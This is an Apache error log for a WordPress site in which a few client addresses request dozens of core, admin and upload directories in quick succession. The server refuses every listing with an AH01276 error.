[Wed Apr 15 05:18:37.008954 2026] [autoindex:error] [pid 45504:tid 45516] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:39.477287 2026] [autoindex:error] [pid 45504:tid 45515] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:41.941690 2026] [autoindex:error] [pid 45504:tid 45530] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:42.171331 2026] [autoindex:error] [pid 45504:tid 45512] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:46.870129 2026] [autoindex:error] [pid 45504:tid 45525] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:48.193145 2026] [autoindex:error] [pid 45504:tid 45510] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:50.648504 2026] [autoindex:error] [pid 45504:tid 45508] [client 45.131.195.174:46393] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:53.081935 2026] [autoindex:error] [pid 45504:tid 45518] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:53.300248 2026] [autoindex:error] [pid 45504:tid 45520] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:53.525665 2026] [autoindex:error] [pid 45504:tid 45511] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:53.748545 2026] [autoindex:error] [pid 45504:tid 45517] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:18:53.999123 2026] [autoindex:error] [pid 45504:tid 45508] [client 45.131.195.174:46393] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:02.326334 2026] [autoindex:error] [pid 4066:tid 4127] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:02.704729 2026] [autoindex:error] [pid 4066:tid 4123] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:02.930129 2026] [autoindex:error] [pid 4066:tid 4109] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:03.241899 2026] [autoindex:error] [pid 4066:tid 4108] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:03.473793 2026] [autoindex:error] [pid 4066:tid 4112] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:08.158432 2026] [autoindex:error] [pid 4066:tid 4123] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/05/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:09.450644 2026] [autoindex:error] [pid 4066:tid 4104] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:09.680614 2026] [autoindex:error] [pid 4066:tid 4118] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:09.905456 2026] [autoindex:error] [pid 4066:tid 4112] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:10.158616 2026] [autoindex:error] [pid 4066:tid 4121] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:10.403351 2026] [autoindex:error] [pid 4066:tid 4126] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:15.009129 2026] [autoindex:error] [pid 4066:tid 4120] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:18.658404 2026] [autoindex:error] [pid 4066:tid 4108] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:18.885865 2026] [autoindex:error] [pid 4066:tid 4107] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:20.157131 2026] [autoindex:error] [pid 4066:tid 4126] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:26.266109 2026] [autoindex:error] [pid 4066:tid 4115] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:26.492788 2026] [autoindex:error] [pid 4066:tid 4104] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:26.741976 2026] [autoindex:error] [pid 4066:tid 4128] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:26.975380 2026] [autoindex:error] [pid 4066:tid 4109] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:31.525787 2026] [autoindex:error] [pid 4066:tid 4111] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:35.365587 2026] [autoindex:error] [pid 4066:tid 4119] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:35.596380 2026] [autoindex:error] [pid 4066:tid 4120] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:45.537662 2026] [autoindex:error] [pid 4066:tid 4120] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:47.891537 2026] [autoindex:error] [pid 4066:tid 4107] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:48.118670 2026] [autoindex:error] [pid 4066:tid 4124] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:48.386314 2026] [autoindex:error] [pid 4066:tid 4112] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:49.683425 2026] [autoindex:error] [pid 4066:tid 4121] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:19:50.981808 2026] [autoindex:error] [pid 4066:tid 4110] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:07.263139 2026] [autoindex:error] [pid 4066:tid 4108] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:10.846611 2026] [autoindex:error] [pid 4066:tid 4124] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:13.095343 2026] [autoindex:error] [pid 4066:tid 4106] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:15.437751 2026] [autoindex:error] [pid 4066:tid 4128] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:16.828402 2026] [autoindex:error] [pid 4066:tid 4112] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:17.068015 2026] [autoindex:error] [pid 4066:tid 4123] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:18.416335 2026] [autoindex:error] [pid 4066:tid 4110] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/code/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:18.688181 2026] [autoindex:error] [pid 4066:tid 4111] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/archives/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:18.938614 2026] [autoindex:error] [pid 4066:tid 4109] [client 45.131.195.155:56283] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/components/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:24.009696 2026] [autoindex:error] [pid 4067:tid 4147] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:26.638278 2026] [autoindex:error] [pid 4067:tid 4131] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:34.986672 2026] [autoindex:error] [pid 4067:tid 4154] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:35.204783 2026] [autoindex:error] [pid 4067:tid 4147] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:36.598043 2026] [autoindex:error] [pid 4067:tid 4140] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:37.929045 2026] [autoindex:error] [pid 4067:tid 4134] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:41.539531 2026] [autoindex:error] [pid 4067:tid 4151] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:20:46.498783 2026] [autoindex:error] [pid 4067:tid 4138] [client 45.131.195.140:48359] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
